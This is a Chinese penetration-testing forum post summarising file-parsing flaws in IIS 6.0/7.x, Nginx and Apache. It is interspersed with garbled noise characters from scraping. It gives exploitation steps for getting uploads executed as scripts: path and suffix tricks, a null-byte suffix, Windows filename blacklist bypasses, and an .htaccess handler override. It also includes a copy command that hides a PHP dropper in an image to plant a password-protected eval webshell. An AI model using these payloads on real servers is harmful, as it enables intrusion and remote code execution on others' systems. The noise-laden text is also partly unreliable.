中国网络渗透测试联盟

标题: 常见服务器解析漏洞总结 [打印本页]

作者: admin    时间: 2013-4-19 19:14
标题: 常见服务器解析漏洞总结
Author : laterain
& y7 s' h' A! y+ w! a[+]IIS6.0
& X/ y9 m# J6 m8 ^+ F! t6 t $ T2 H: i9 g$ w( L( R
目录解析:/xx.asp/xx.jpg
- u5 g3 A3 Z5 Z xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码+ b$ b% S+ m2 [$ p2 m
IIS6.0 会将 xx.jpg 解析为 asp 文件。
$ P* F( e. |/ x% K: M" q; d后缀解析:/xx.asp;.jpg     
% x. \; d0 o- s! i IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
# Q! `9 H( F1 W" i5 K% N默认解析:/xx.asa
) o* B& z, B# {' K+ Z. l         /xx.cer4 i' N( C, J$ m( B, z/ a9 I
         /xx.cdx
# ~4 E, H3 Y, A1 h* W IIS6.0 默认的可执行文件除了 asp 还包含这三种* S7 P1 I9 Z9 V! p
此处可联系利用目录解析漏洞 8 E; U' |/ s8 q; s+ H5 e
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
- m' _* E3 g' O8 m1 }[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
8 s3 W& M5 C. k! D! J( V ; P/ I2 i( o8 w) F5 ]; L2 }! ]
IIS 7.0/IIS 7.5/Nginx <0.8.03
% O5 d4 z3 X3 _! ]$ L9 v% n8 }8 y 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面) t) j, P# E% e+ |* T1 G
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
4 w' j8 N2 _9 F1 S) e+ z# ^. k& P 常用利用方法:
2 e- b  |7 D- ^8 s; G 将一张图和一个写入后门代码的文本文件合并将恶意文本
+ R7 ^3 g2 s- M4 N) b 写入图片的二进制代码之后,避免破坏图片文件头和尾
0 a* n! q/ z9 ?6 _ 如:9 o- V$ d9 s: p- P: V: F
copy xx.jpg /b + yy.txt/a xy.jpg
' D& T6 h1 [, Y+ x/ O& R #########################################################. Z- g5 ~& {) @7 o$ h  a' z7 y
/b 即二进制[binary]模式; H9 d2 g$ n) }; `: ^$ w  w- K
/a 即ascii模式
. R' P* e3 j8 q# {$ ?5 _! ^: b% F xx.jpg 正常图片文件9 `1 Z. {. i2 e, c3 h
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),- p$ E- [2 T; F) M- S
'<?php eval($_POST[cmd])?>');?>" L* p# U' [' ]5 F) }& t6 ~. G
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称4 ^2 M; r* E% V
为shell.php的文件
  i. P4 L$ L& q! m( Y! x( N ###########################################################
  `) m; W* y0 r) K2 l3 O, w( ~2 J 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php ) k' O( r* s6 Y- R3 t# U$ E  V
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php 7 v! n, R" w* a% k- P: Q* E) |
密码 cmd% s( W8 M! o$ y5 V3 X/ q/ l7 x
[+]Nginx <0.8.03
$ d- C$ y" l0 k+ P% B
/ Y/ B$ R+ {: @3 p" [ 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞: g- [: n! W6 m3 s3 F) _
在一个文件路径(/xx.jpg)后面加上%00.php
' b; N! w% o& d6 x- j; @. Y7 W 会将 /xx.jpg%00.php 解析为 php 文件。
9 i6 ?# C. s- e/ O[+]Apache<0.8.03" l% d) d# m8 L1 i) o% }$ S( Q6 \
& V0 |6 N# t( S0 n/ b* u3 f, T
后缀解析:test.php.x1.x2.x3
/ M# K5 Q; }( J9 ~9 f# U: v Apache将从右至左开始判断后缀,若x3非可识别后缀,
# d6 t6 K' f+ {: Y, |  N 再判断x2,直到找到可识别后缀为止,然后将该可识别
' {. q! u  Q, |8 m, D+ [. Z 后缀进解析test.php.x1.x2.x3 则会被解析为php8 c' B6 e+ _# G9 g
经验之谈:php|php3|phtml 多可被Apache解析。% _! [; h5 R5 L" Z! J
[+]其他一些可利用的
2 m  C/ z' t- {9 f; }' F
# y  r6 m4 M- L$ |& H在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的6 N3 T' ?( d# _- T: g. F6 X
若这样命名,windows会默认除去空格或点,这也是可以被利用的!' h5 ?0 I9 S3 {! a* Z4 u
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格% C# y( |3 d4 W9 W% E
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
5 |* y3 K. Q% T+ e' f; h  ]得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
. d( T- O6 v7 p{Linux主机中不行,Linux允许这类文件存在}: s9 V# x/ ]+ \
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
/ v- T( ]  j' t的,当初我并不知道),且可以被上传,那可以尝试在
& N) o8 F4 V8 \) d0 r* I7 |.htaccess中写入:
! O; X8 P2 K  h$ T<FilesMatch “shell.jpg”> & V4 L! @# o. Z
SetHandler application/x-httpd-php
1 R: {' i$ y, m" H1 |% ]</FilesMatch>5 O6 Q1 b5 P; [" Z
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
9 s, [' f( c$ l/ x8 a  f" M# z[+]错误修改
1 K! Q. H2 ~/ O% B9 p: c
2 P' Y' n7 |3 y' P& k8 m在 IIS 6.0 下可解析 /xx.asp:.jpg
* a, L) E( F' _{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去) T/ @5 u+ q5 |% o1 ]0 |
剩下/xx.asp}修改:# i+ X' j# k- s
先谢谢核攻击的提醒" L0 h/ l4 `& m
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
9 }+ c+ I' i) t% \* V5 p" ~里是没有任何内容的,因为。。不好解释 大家自己看
) |2 m- N" v& n  s1 [http://lcx.cc/?i=2448
8 f7 \; x4 L8 o3 W7 ~http://baike.baidu.com/view/3619593.htm
! j! }* W; [. S, S; E; D% a  T3 I: k. e, {& @1 a





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2